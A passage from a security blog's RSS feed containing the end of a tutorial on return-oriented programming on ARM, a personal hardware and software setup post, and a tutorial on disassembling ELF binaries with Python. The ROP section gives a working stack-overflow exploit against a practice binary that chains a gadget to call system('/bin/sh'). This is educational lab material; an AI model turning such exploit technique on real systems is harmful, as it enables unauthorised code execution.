large string, say, “A” × 20, we
see a segmentation fault occur.</p>

<p><img src="/static/img/string_segfault.png" alt="string and segfault" /></p>

<p>Now, open it up in <code>gdb</code> and look at the functions inside it.</p>

<p><img src="/static/img/gdb_functions.png" alt="gdb functions" /></p>

<p>There are three functions that are of importance here, <code>main</code>, <code>winner</code> and 
<code>gadget</code>. Disassembling the <code>main</code> function:</p>

<p><img src="/static/img/gdb_main_disas.png" alt="gdb main disassembly" /></p>

<p>We see a buffer of 16 bytes being created (<code>sub sp, sp, #16</code>), and some calls
to <code>puts()</code>/<code>printf()</code> and <code>scanf()</code>. Looks like <code>winner</code> and <code>gadget</code> are 
never actually called.</p>

<p>Disassembling the <code>gadget</code> function:</p>

<p><img src="/static/img/gdb_gadget_disas.png" alt="gdb gadget disassembly" /></p>

<p>This is fairly simple, the stack is being initialized by <code>push</code>ing <code>{r11}</code>,
which is also the frame pointer (<code>fp</code>). What’s interesting is the <code>pop {r0, pc}</code>
instruction in the middle. This is a <strong>gadget</strong>.</p>

<p>We can use this to control what goes into <code>r0</code> and <code>pc</code>. Unlike in x86 where
arguments to functions are passed on the stack, in ARM the registers <code>r0</code> to <code>r3</code>
are used for this. So this gadget effectively allows us to pass arguments to
functions using <code>r0</code>, and subsequently jumping to them by passing its address
in <code>pc</code>. Neat.</p>

<p>Moving on to the disassembly of the <code>winner</code> function:</p>

<p><img src="/static/img/gdb_disas_winner.png" alt="gdb winner disassembly" /></p>

<p>Here, we see a calls to <code>puts()</code>, <code>system()</code> and finally, <code>exit()</code>.
So our end goal here is to, quite obviously, execute code via the <code>system()</code>
function.</p>

<p>Now that we have an overview of what’s in the binary, let’s formulate a method
of exploitation by messing around with inputs.</p>

<h3 id="messing-around-with-inputs">Messing around with inputs :^)</h3>

<p>Back to <code>gdb</code>, hit <code>r</code> to run and pass in a patterned input, like in the
screenshot.</p>

<p><img src="/static/img/gdb_info_reg_segfault.png" alt="gdb info reg post segfault" /></p>

<p>We hit a segfault because of invalid memory at address <code>0x46464646</code>. Notice
the <code>pc</code> has been overwritten with our input.
So we smashed the stack alright, but more importantly, it’s at the letter ‘F’.</p>

<p>Since we know the offset at which the <code>pc</code> gets overwritten, we can now
control program execution flow. Let’s try jumping to the <code>winner</code> function.</p>

<p>Disassemble <code>winner</code> again using <code>disas winner</code> and note down the offset
of the second instruction — <code>add r11, sp, #4</code>. 
For this, we’ll use Python to print our input string replacing <code>FFFF</code> with
the address of <code>winner</code>. Note the endianness.</p>

<div class="codehilite"><pre><span></span><code>$ python -c <span class="s1">&#39;print(&quot;AAAABBBBCCCCDDDDEEEE\x28\x05\x01\x00&quot;)&#39;</span> <span class="p">|</span> ./rop2
</code></pre></div>

<p><img src="/static/img/python_winner_jump.png" alt="jump to winner" /></p>

<p>The reason we don’t jump to the first instruction is because we want to control the stack
ourselves. If we allow <code>push {rll, lr}</code> (first instruction) to occur, the program will <code>pop</code>
those out after <code>winner</code> is done executing and we will no longer control 
where it jumps to.</p>

<p>So that didn’t do much, just prints out a string “Nothing much here&#8230;”. 
But it <em>does</em> however, contain <code>system()</code>. Which somehow needs to be populated with an argument
to do what we want (run a command, execute a shell, etc.).</p>

<p>To do that, we’ll follow a multi-step process: </p>

<ol>
<li>Jump to the address of <code>gadget</code>, again the 2nd instruction. This will <code>pop</code> <code>r0</code> and <code>pc</code>.</li>
<li>Push our command to be executed, say “<code>/bin/sh</code>” onto the stack. This will go into
<code>r0</code>.</li>
<li>Then, push the address of <code>system()</code>. And this will go into <code>pc</code>.</li>
</ol>

<p>The pseudo-code is something like this:</p>

<pre><code>string = AAAABBBBCCCCDDDDEEEE
gadget = # addr of gadget
binsh  = # addr of /bin/sh
system = # addr of system()

print(string + gadget + binsh + system)
</code></pre>

<p>Clean and mean.</p>

<h3 id="the-exploit">The exploit</h3>

<p>To write the exploit, we’ll use Python and the absolute godsend of a library — <code>struct</code>.
It allows us to pack the bytes of addresses to the endianness of our choice.
It probably does a lot more, but who cares.</p>

<p>Let’s start by fetching the address of <code>/bin/sh</code>. In <code>gdb</code>, set a breakpoint
at <code>main</code>, hit <code>r</code> to run, and search the entire address space for the string “<code>/bin/sh</code>”:</p>

<pre><code>(gdb) find &amp;system, +9999999, "/bin/sh"
</code></pre>

<p><img src="/static/img/gdb_find_binsh.png" alt="gdb finding /bin/sh" /></p>

<p>One hit at <code>0xb6f85588</code>. The addresses of <code>gadget</code> and <code>system()</code> can be
found from the disassmblies from earlier. Here’s the final exploit code:</p>

<div class="codehilite"><pre><span></span><code><span class="kn">import</span> <span class="nn">struct</span>

<span class="n">binsh</span> <span class="o">=</span> <span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s2">&quot;I&quot;</span><span class="p">,</span> <span class="mh">0xb6f85588</span><span class="p">)</span>
<span class="n">string</span> <span class="o">=</span> <span class="s2">&quot;AAAABBBBCCCCDDDDEEEE&quot;</span>
<span class="n">gadget</span> <span class="o">=</span> <span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s2">&quot;I&quot;</span><span class="p">,</span> <span class="mh">0x00010550</span><span class="p">)</span>
<span class="n">system</span> <span class="o">=</span> <span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s2">&quot;I&quot;</span><span class="p">,</span> <span class="mh">0x00010538</span><span class="p">)</span>

<span class="k">print</span><span class="p">(</span><span class="n">string</span> <span class="o">+</span> <span class="n">gadget</span> <span class="o">+</span> <span class="n">binsh</span> <span class="o">+</span> <span class="n">system</span><span class="p">)</span>
</code></pre></div>

<p>Honestly, not too far off from our pseudo-code :)</p>

<p>Let’s see it in action:</p>

<p><img src="/static/img/the_shell.png" alt="the shell!" /></p>

<p>Notice that it doesn’t work the first time, and this is because <code>/bin/sh</code> terminates
when the pipe closes, since there’s no input coming in from STDIN.
To get around this, we use <code>cat(1)</code> which allows us to relay input through it
to the shell. Nifty trick.</p>

<h3 id="conclusion">Conclusion</h3>

<p>This was a fairly basic challenge, with everything laid out conveniently. 
Actual ropchaining is a little more involved, with a lot more gadgets to be chained
to acheive code execution.</p>

<p>Hopefully, I’ll get around to writing about heap exploitation on ARM too. That’s all for now.</p>
]]></description><link>https://icyphox.sh/blog/rop-on-arm</link><pubDate>Thu, 06 Jun 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/rop-on-arm</guid></item><item><title>My Setup</title><description><![CDATA[<h3 id="hardware">Hardware</h3>

<p>The only computer I have with me is my <a href="https://store.hp.com/us/en/mdp/laptops/envy-13">HP Envy 13 (2018)</a> (my model looks a little different). It’s a 13” ultrabook, with an i5 8250u,
8 gigs of RAM and a 256 GB NVMe SSD. It’s a very comfy machine that does everything I need it to.</p>

<p>For my phone, I use a <a href="https://www.oneplus.in/6t">OnePlus 6T</a>, running stock <a href="https://www.oneplus.in/oxygenos">OxygenOS</a>. As of this writing, its bootloader hasn’t been unlocked and nor has the device been rooted.
I’m also a proud owner of a <a href="https://en.wikipedia.org/wiki/Nexus_5">Nexus 5</a>, which I really wish Google rebooted. It’s surprisingly still usable and runs Android Pie, although the SIM slot is ruined and the battery backup is abysmal.</p>

<p>My watch is a <a href="https://www.samsung.com/in/wearables/gear-s3-frontier-r760/">Samsung Gear S3 Frontier</a>. Tizen is definitely better than Android Wear.</p>

<p>My keyboard, although not with me in college, is a very old <a href="https://www.amazon.com/Dell-Keyboard-Model-SK-8110-Interface/dp/B00366HMMO">Dell SK-8110</a>. 
For the little bit of gaming that I do, I use a <a href="https://www.hpshopping.in/hp-m150-gaming-mouse-3dr63pa.html">HP m150</a> gaming mouse. It’s the perfect size (and color).</p>

<p>For my music, I use the <a href="https://www.boseindia.com/en_in/products/headphones/over_ear_headphones/soundlink-around-ear-wireless-headphones-ii.html">Bose SoundLink II</a>. 
Great pair of headphones, although the ear cups need replacing.</p>

<h3 id="and-the-software">And the software</h3>

<p><del>My distro of choice for the past ~1 year has been <a href="https://elementary.io">elementary OS</a>. I used to be an Arch Linux elitist, complete with an esoteric
window manager, all riced. I now use whatever JustWorks™.</del></p>

<p><strong>Update</strong>: As of June 2019, I&#8217;ve switched over to a vanilla Debian 9 Stretch install,
running <a href="https://i3wm.org">i3</a> as my window manager. If you want, you can dig through my configs at my <a href="https://github.com/icyphox/dotfiles">dotfiles</a> repo. </p>

<p>Here’s a (riced) screenshot of my desktop. </p>

<p><img src="https://i.redd.it/jk574gworp331.png" alt="scrot" /></p>

<p>Most of my work is done in either the browser, or the terminal.
My shell is pure <a href="http://www.zsh.org">zsh</a>, as in no plugin frameworks. It’s customized using built-in zsh functions. Yes, you don’t actually need
a framework. It’s useless bloat. The prompt itself is generated using a framework I built in <a href="https://nim-lang.org">Nim</a> — <a href="https://github.com/icyphox/nicy">nicy</a>.
My primary text editor is <a href="https://neovim.org">nvim</a>. Again, all configs in my dotfiles repo linked above.
I manage all my passwords using <a href="https://passwordstore.org">pass(1)</a>, and I use <a href="https://github.com/carnager/rofi-pass">rofi-pass</a> to access them via <code>rofi</code>.</p>

<p>Most of my security tooling is typically run via a Kali Linux docker container. This is convenient for many reasons, keeps your global namespace
clean and a single command to drop into a Kali shell.</p>

<p>I use a DigitalOcean droplet (BLR1) as a public filehost, found at <a href="https://x.icyphox.sh">x.icyphox.sh</a>. The UI is the wonderful <a href="https://github.com/zeit/serve">serve</a>, by <a href="https://zeit.co">ZEIT</a>.
The same box also serves as my IRC bouncer and OpenVPN (TCP), which I tunnel via SSH running on 443. Campus firewall woes. </p>

<p>I plan on converting my desktop back at home into a homeserver setup. Soon™.</p>
]]></description><link>https://icyphox.sh/blog/my-setup</link><pubDate>Mon, 13 May 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/my-setup</guid></item><item><title>Python for Reverse Engineering #1: ELF Binaries</title><description><![CDATA[<p>While solving complex reversing challenges, we often use established tools like radare2 or IDA for disassembling and debugging. But there are times when you need to dig in a little deeper and understand how things work under the hood.</p>

<p>Rolling your own disassembly scripts can be immensely helpful when it comes to automating certain processes, and eventually build your own homebrew reversing toolchain of sorts. At least, that’s what I’m attempting anyway.</p>

<h3 id="setup">Setup</h3>

<p>As the title suggests, you’re going to need a Python 3 interpreter before
anything else. Once you’ve confirmed beyond reasonable doubt that you do,
in fact, have a Python 3 interpreter installed on your system, run</p>

<div class="codehilite"><pre><span></span><code><span class="gp">$</span> pip install capstone pyelftools
</code></pre></div>

<p>where <code>capstone</code> is the disassembly engine we’ll be scripting with and <code>pyelftools</code> to help parse ELF files.</p>

<p>With that out of the way, let’s start with an example of a basic reversing
challenge.</p>

<div class="codehilite"><pre><span></span><code><span class="cm">/* chall.c */</span>

<span class="cp">#include</span> <span class="cpf">&lt;stdio.h&gt;</span><span class="cp"></span>
<span class="cp">#include</span> <span class="cpf">&lt;stdlib.h&gt;</span><span class="cp"></span>
<span class="cp">#include</span> <span class="cpf">&lt;string.h&gt;</span><span class="cp"></span>

<span class="kt">int</span> <span class="nf">main</span><span class="p">()</span> <span class="p">{</span>
   <span class="kt">char</span> <span class="o">*</span><span class="n">pw</span> <span class="o">=</span> <span class="n">malloc</span><span class="p">(</span><span class="mi">9</span><span class="p">);</span>
   <span class="n">pw</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">=</span> <span class="sc">&#39;a&#39;</span><span class="p">;</span>
   <span class="k">for</span><span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;=</span> <span class="mi">8</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">){</span>
       <span class="n">pw</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">=</span> <span class="n">pw</span><span class="p">[</span><span class="n">i</span> <span class="o">-</span> <span class="mi">1</span><span class="p">]</span> <span class="o">+</span> <span class="mi">1</span><span class="p">;</span>
   <span class="p">}</span>
   <span class="n">pw</span><span class="p">[</span><span class="mi">9</span><span class="p">]</span> <span class="o">=</span> <span class="sc">&#39;\0&#39;</span><span class="p">;</span>
   <span class="kt">char</span> <span class="o">*</span><span class="n">in</span> <span class="o">=</span> <span class="n">malloc</span><span class="p">(</span><span class="mi">10</span><span class="p">);</span>
   <span class="n">printf</span><span class="p">(</span><span class="s">&quot;password: &quot;</span><span class="p">);</span>
   <span class="n">fgets</span><span class="p">(</span><span class="n">in</span><span class="p">,</span> <span class="mi">10</span><span class="p">,</span> <span class="n">stdin</span><span class="p">);</span>        <span class="c1">// &#39;abcdefghi&#39;</span>
   <span class="k">if</span><span class="p">(</span><span class="n">strcmp</span><span class="p">(</span><span class="n">in</span><span class="p">,</span> <span class="n">pw</span><span class="p">)</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
       <span class="n">printf</span><span class="p">(</span><span class="s">&quot;haha yes!</span><span class="se">\n</span><span class="s">&quot;</span><span class="p">);</span>
   <span class="p">}</span>
   <span class="k">else</span> <span class="p">{</span>
       <span class="n">printf</span><span class="p">(</span><span class="s">&quot;nah dude</span><span class="se">\n</span><span class="s">&quot;</span><span class="p">);</span>
   <span class="p">}</span>
<span class="p">}</span>
</code></pre></div>

<p>Compile it with GCC/Clang:</p>

<div class="codehilite"><pre><span></span><code><span class="gp">$</span> gcc chall.c -o chall.elf
</code></pre></div>

<h3 id="scripting">Scripting</h3>

<p>For starters, let’s look at the different sections present in the binary.</p>

<div class="codehilite"><pre><span></span><code><span class="c1"># sections.py</span>

<span class="kn">from</span> <span class="nn">elftools.elf.elffile</span> <span class="kn">import</span> <span class="n">ELFFile</span>

<span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="s1">&#39;./chall.elf&#39;</span><span class="p">,</span> <span class="s1">&#39;rb&#39;</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
    <span class="n">e</span> <span class="o">=</span> <span class="n">ELFFile</span><span class="p">(</span><span class="n">f</span><span class="p">)</span>
    <span class="k">for</span> <span class="n">section</span> <span class="ow">in</span> <span class="n">e</span><span class="o">.</span><span class="n">iter_sections</span><span class="p">():</span>
        <span class="k">print</span><span class="p">(</span><span class="nb">hex</span><span class="p">(</span><span class="n">section</span><span class="p">[</span><span class="s1">&#39;sh_addr&#39;</span><span class="p">]),</span> <span class="n">section</span><span class="o">.</span><span class="n">name</span><span class="p">)</span>
</code></pre></div>

<p>This script iterates through all the sections and also shows us where it’s loaded. This will be pretty useful later. Running it gives us</p>

<div class="codehilite"><pre><span></span><code><span class="go">› python sections.py</span>
<span class="go">0x238 .interp</span>
<span class="go">0x254 .note.ABI-tag</span>
<span class="go">0x274 .note.gnu.build-id</span>
<span class="go">0x298 .gnu.hash</span>
<span class="go">0x2c0 .dynsym</span>
<span class="go">0x3e0 .dynstr</span>
<span class="go">0x484 .gnu.version</span>
<span class="go">0x4a0 .gnu.version_r</span>
<span class="go">0x4c0 .rela.dyn</span>
<span class="go">0x598 .rela.plt</span>
<span class="go">0x610 .init</span>
<span class="go">0x630 .plt</span>
<span class="go">0x690 .plt.got</span>
<span class="go">0x6a0 .text</span>
<span class="go">0x8f4 .fini</span>
<span class="go">0x900 .rodata</span>
<span class="go">0x924 .eh_frame_hdr</span>
<span class="go">0x960 .eh_frame</span>
<span class="go">0x200d98 .init_array</span>
<span class="go">0x200da0 .fini_array</span>
<span class="go">0x200da8 .dynamic</span>
<span class="go">0x200f98 .got</span>
<span class="go">0x201000 .data</span>
<span class="go">0x201010 .bss</span>
<span class="go">0x0 .comment</span>
<span class="go">0x0 .symtab</span>
<span class="go">0x0 .strtab</span>
<span class="go">0x0 .shstrtab</span>
</code></pre></div>

<p>Most of these aren’t relevant to us, but a few sections here are to be noted. The <code>.text</code> section contains the instructions (opcodes) that we’re after. The <code>.data</code> section should have strings and constants initialized at compile time. Finally, the <code>.plt</code> which is the Procedure Linkage Table and the <code>.got</code>, the Global Offset Table. If you’re unsure about what these mean, read up on the ELF format and its internals.</p>

<p>Since we know that the <code>.text</code> section has the opcodes, let’s disassemble the binary starting at that address.</p>

<div class="codehilite"><pre><span></span><code><span class="c1"># disas1.py</span>

<span class="kn">from</span> <span class="nn">elftools.elf.elffile</span> <span class="kn">import</span> <span class="n">ELFFile</span>
<span class="kn">from</span> <span class="nn">capstone</span> <span class="kn">import</span> <span class="o">*</span>

<span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="s1">&#39;./bin.elf&#39;</span><span class="p">,</span> <span class="s1">&#39;rb&#39;</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
    <span class="n">elf</span> <span class="o">=</span> <span class="n">ELFFile</span><span class="p">(</span><span class="n">f</span><span class="p">)</span>
    <span class="n">code</span> <span class="o">=</span> <span class="n">elf</span><span class="o">.</span><span class="n">get_section_by_name</span><span class="p">(</span><span class="s1">&#39;.text&#39;</span><span class="p">)</span>
    <span class="n">ops</span> <span class="o">=</span> <span class="n">code</span><span class="o">.</span><span class="n">data</span><span class="p">()</span>
    <span class="n">addr</span> <span class="o">=</span> <span class="n">code</span><span class="p">[</span><span class="s1">&#39;sh_addr&#39;</span><span class="p">]</span>
    <span class="n">md</span> <span class="o">=</span> <span class="n">Cs</span><span class="p">(</span><span class="n">CS_ARCH_X86</span><span class="p">,</span> <span class="n">CS_MODE_64</span><span class="p">)</span>
    <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="n">md</span><span class="o">.</span><span class="n">disasm</span><span class="p">(</span><span class="n">ops</span><span class="p">,</span> <span class="n">addr</span><span class="p">):</span>        
        <span class="k">print</span><span class="p">(</span><span class="n">f</span><span class="s1">&#39;0x{i.address:x}:</span><span class="se">\t</span><span class="s1">{i.mnemonic}</span><span class="se">\t</span><span class="s1">{i.op_str}&#39;</span><span class="p">)</span>
</code></pre></div>

<p>The code is fairly straightforward (I think). We should be seeing this, on running</p>

<div class="codehilite"><pre><span></span><code><span class="go">› python disas1.py | less      </span>
<span class="go">0x6a0: xor ebp, ebp</span>
<span class="go">0x6a2: mov r9, rdx</span>
<span class="go">0x6a5: pop rsi</span>
<span class="go">0x6a6: mov rdx, rsp</span>
<span class="go">0x6a9: and rsp, 0xfffffffffffffff0</span>
<span class="go">0x6ad: push rax</span>
<span class="go">0x6ae: push rsp</span>
<span class="go">0x6af: lea r8, [rip + 0x23a]</span>
<span class="go">0x6b6: lea rcx, [rip + 0x1c3]</span>
<span class="go">0x6bd: lea rdi, [rip + 0xe6]</span>
<span class="go">**0x6c4: call qword ptr [rip + 0x200916]**</span>
<span class="go">0x6ca: hlt</span>
<span class="go">... snip ...</span>
</code></pre></div>

<p>The line in bold is fairly interesting to us. The address at <code>[rip + 0x200916]</code> is equivalent to <code>[0x6ca + 0x200916]</code>, which in turn evaluates to <code>0x200fe0</code>. The first <code>call</code> being made to a function at <code>0x200fe0</code>? What could this function be?</p>

<p>For this, we will have to look at <strong>relocations</strong>. Quoting <a href="http://refspecs.linuxbase.org/elf/gabi4+/ch4.reloc.html">linuxbase.org</a></p>

<blockquote>
  <p>Relocation is the process of connecting symbolic references with symbolic definitions. For example, when a program calls a function, the associated call instruction must transfer control to the proper destination address at execution. Relocatable files must have “relocation entries’’ which are necessary because they contain information that describes how to modify their section contents, thus allowing executable and shared object files to hold the right information for a process’s program image.</p>
</blockquote>

<p>To try and find these relocation entries, we write a third script.</p>

<div class="codehilite"><pre><span></span><code><span class="c1"># relocations.py</span>

<span class="kn">import</span> <span class="nn">sys</span>
<span class="kn">from</span> <span class="nn">elftools.elf.elffile</span> <span class="kn">import</span> <span class="n">ELFFile</span>
<span class="kn">from</span> <span class="nn">elftools.elf.relocation</span> <span class="kn">import</span> <span class="n">RelocationSection</span>

<span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="s1">&#39;./chall.elf&#39;</span><span class="p">,</span> <span class="s1">&#39;rb&#39;</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
    <span class="n">e</span> <span class="o">=</span> <span class="n">ELFFile</span><span class="p">(</span><span class="n">f</span><span class="p">)</span>
    <span class="k">for</span> <span class="n">section</span> <span class="ow">in</span> <span class="n">e</span><span class="o">.</span><span class="n">iter_sections</span><span class="p">():</span>
        <span class="k">if</span> <span class="nb">isinstance</span><span class="p">(</span><span class="n">section</span><span class="p">,</span> <span class="n">RelocationSection</span><span class="p">):</span>
            <span class="k">print</span><span class="p">(</span><span class="n">f</span><span class="s1">&#39;{section.name}:&#39;</span><span class="p">)</span>
            <span class="n">symbol_table</span> <span class="o">=</span> <span class="n">e</span><span class="o">.</span><span class="n">get_section</span><span class="p">(</span><span class="n">section</span><span class="p">[</span><span class="s1">&#39;sh_link&#39;</span><span class="p">])</span>
            <span class="k">for</span> <span class="n">relocation</span> <span class="ow">in</span> <span class="n">section</span><span class="o">.</span><span class="n">iter_relocations</span><span class="p">():</span>
                <span class="n">symbol</span> <span class="o">=</span> <span class="n">symbol_table</span><span class="o">.</span><span class="n">get_symbol</span><span class="p">(</span><span class="n">relocation</span><span class="p">[</span><span class="s1">&#39;r_info_sym&#39;</span><span class="p">])</span>
                <span class="n">addr</span> <span class="o">=</span> <span class="nb">hex</span><span class="p">(</span><span class="n">relocation</span><span class="p">[</span><span class="s1">&#39;r_offset&#39;</span><span class="p">])</span>
                <span class="k">print</span><span class="p">(</span><span class="n">f</span><span class="s1">&#39;{symbol.name} {addr}&#39;</span><span class="p">)</span>
</code></pre></div>

<p>Let’s run through this code real quick. We first loop through the sections, and check if it’s of the type <code>RelocationSection</code>. We then iterate through the relocations from the symbol table for each section. Finally, running this gives us</p>

<div class="codehilite"><pre><span></span><code><span class="go">› python relocations.py</span>
<span class="go">.rela.dyn:</span>
<span class="go"> 0x200d98</span>
<span class="go"> 0x200da0</span>
<span class="go"> 0x201008</span>
<span class="go">_ITM_deregisterTMCloneTable 0x200fd8</span>
<span class="go">**__libc_start_main 0x200fe0**</span>
<span class="go">__gmon_start__ 0x200fe8</span>
<span class="go">_ITM_registerTMCloneTable 0x200ff0</span>
<span class="go">__cxa_finalize 0x200ff8</span>
<span class="go">stdin 0x201010</span>
<span class="go">.rela.plt:</span>
<span class="go">puts 0x200fb0</span>
<span class="go">printf 0x200fb8</span>
<span class="go">fgets 0x200fc0</span>
<span class="go">strcmp 0x200fc8</span>
<span class="go">malloc 0x200fd0</span>
</code></pre></div>

<p>Remember the function call at <code>0x200fe0</code> from earlier? Yep, so that was a call to the well known <code>__libc_start_main</code>. Again, according to <a href="http://refspecs.linuxbase.org/LSB_3.1.0/LSB-generic/LSB-generic/baselib&#8212;libc-start-main-.html">linuxbase.org</a></p>

<blockquote>
  <p>The <code>__libc_start_main()</code> function shall perform any necessary initialization of the execution environment, call the <em>main</em> function with appropriate arguments, and handle the return from <code>main()</code>. If the <code>main()</code> function returns, the return value shall be passed to the <code>exit()</code> function.</p>
</blockquote>

<p>And its definition is like so</p>

<div class="codehilite"><pre><span></span><code><span class="kt">int</span> <span class="nf">__libc_start_main</span><span class="p">(</span><span class="kt">int</span> <span class="o">*</span><span class="p">(</span><span class="n">main</span><span class="p">)</span> <span class="p">(</span><span class="kt">int</span><span class="p">,</span> <span class="kt">char</span> <span class="o">*</span> <span class="o">*</span><span class="p">,</span> <span class="kt">char</span> <span class="o">*</span> <span class="o">*</span><span class="p">),</span> 
<span class="kt">int</span> <span class="n">argc</span><span class="p">,</span> <span class="kt">char</span> <span class="o">*</span> <span class="o">*</span> <span class="n">ubp_av</span><span class="p">,</span> 
<span class="kt">void</span> <span class="p">(</span><span class="o">*</span><span class="n">init</span><span class="p">)</span> <span class="p">(</span><span class="kt">void</span><span class="p">),</span> 
<span class="kt">void</span> <span class="p">(</span><span class="o">*</span><span class="n">fini</span><span class="p">)</span> <span class="p">(</span><span class="kt">void</span><span class="p">),</span> 
<span class="kt">void</span> <span class="p">(</span><span class="o">*</span><span class="n">rtld_fini</span><span class="p">)</span> <span class="p">(</span><span class="kt">void</span><span class="p">),</span> 
<span class="kt">void</span> <span class="p">(</span><span class="o">*</span> <span class="n">stack_end</span><span class="p">));</span>
</code></pre></div>

<p>Looking back at our disassembly</p>

<pre><code>0x6a0: xor ebp, ebp
0x6a2: mov r9, rdx
0x6a5: pop rsi
0x6a6: mov rdx, rsp
0x6a9: and rsp, 0xfffffffffffffff0
0x6ad: push rax
0x6ae: push rsp
0x6af: lea r8, [rip + 0x23a]
0x6b6: lea rcx, [rip + 0x1c3]
**0x6bd: lea rdi, [rip + 0xe6]**
0x6c4: call qword ptr [rip + 0x200916]
0x6ca: hlt
... snip ...
</code></pre>

<p>but this time, at the <code>lea</code> or Load Effective Address instruction, which loads some address <code>[rip + 0xe6]</code> into the <code>rdi</code> register. <code>[rip + 0xe6]</code> evaluates to <code>0x7aa</code> which happens to be the address of our <code>main()</code> function! How do I know that? Because <code>__libc_start_main()</code>, after doing whatever it does, eventually jumps to the function at <code>rdi</code>, which is generally the <code>main()</code> function. It looks something like this</p>

<p><img src="https://cdn-images-1.medium.com/max/800/0*oQA2MwHjhzosF8ZH.png" alt="" /></p>

<p>To see the disassembly of <code>main</code>, seek to <code>0x7aa</code> in the output of the script we’d written earlier (<code>disas1.py</code>).</p>

<p>From what we discovered earlier, each <code>call</code> instruction points to some function which we can see from the relocation entries. So following each <code>call</code> into their relocations gives us this</p>

<pre><code>printf 0x650
fgets  0x660
strcmp 0x670
malloc 0x680
</code></pre>

<p>Putting all this together, things start falling into place. Let me highlight the key sections of the disassembly here. It’s pretty self-explanatory.</p>

<pre><code>0x7b2: mov edi, 0xa  ; 10
0x7b7: call 0x680    ; malloc
</code></pre>

<p>The loop to populate the <code>*pw</code> string</p>

<pre><code>0x7d0:  mov     eax, dword ptr [rbp - 0x14]
0x7d3:  cdqe    
0x7d5:  lea     rdx, [rax - 1]
0x7d9:  mov     rax, qword ptr [rbp - 0x10]
0x7dd:  add     rax, rdx
0x7e0:  movzx   eax, byte ptr [rax]
0x7e3:  lea     ecx, [rax + 1]
0x7e6:  mov     eax, dword ptr [rbp - 0x14]
0x7e9:  movsxd  rdx, eax
0x7ec:  mov     rax, qword ptr [rbp - 0x10]
0x7f0:  add     rax, rdx
0x7f3:  mov     edx, ecx
0x7f5:  mov     byte ptr [rax], dl
0x7f7:  add     dword ptr [rbp - 0x14], 1
0x7fb:  cmp     dword ptr [rbp - 0x14], 8
0x7ff:  jle     0x7d0
</code></pre>

<p>And this looks like our <code>strcmp()</code></p>

<pre><code>0x843:  mov     rdx, qword ptr [rbp - 0x10] ; *in
0x847:  mov     rax, qword ptr [rbp - 8]    ; *pw
0x84b:  mov     rsi, rdx             
0x84e:  mov     rdi, rax
0x851:  call    0x670                       ; strcmp  
0x856:  test    eax, eax                    ; is = 0? 
0x858:  jne     0x868                       ; no? jump to 0x868
0x85a:  lea     rdi, [rip + 0xae]           ; "haha yes!" 
0x861:  call    0x640                       ; puts
0x866:  jmp     0x874
0x868:  lea     rdi, [rip + 0xaa]           ; "nah dude"
0x86f:  call    0x640                       ; puts  
</code></pre>

<p>I’m not sure why it uses <code>puts</code> here? I might be missing something; perhaps <code>printf</code> calls <code>puts</code>. I could be wrong. I also confirmed with radare2 that those locations are actually the strings “haha yes!” and “nah dude”.</p>

<p><strong>Update</strong>: It&#8217;s because of compiler optimization. A <code>printf()</code> (in this case) is seen as a bit overkill, and hence gets simplified to a <code>puts()</code>.</p>

<h3 id="conclusion">Conclusion</h3>

<p>Wew, that took quite some time. But we’re done. If you’re a beginner, you might find this extremely confusing, or probably didn’t even understand what was going on. And that’s okay. Building an intuition for reading and grokking disassembly comes with practice. I’m no good at it either.</p>

<p>All the code used in this post is here: <a href="https://github.com/icyphox/asdf/tree/master/reversing-elf">https://github.com/icyphox/asdf/tree/master/reversing-elf</a></p>

<p>Ciao for now, and I’ll see ya in #2 of this series — PE binaries. Whenever that is.</p>
]]></description><link>https://icyphox.sh/blog/python-for-re-1</link><pubDate>Fri, 08 Feb 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/python-for-re-1</guid></item></channel>
</rss>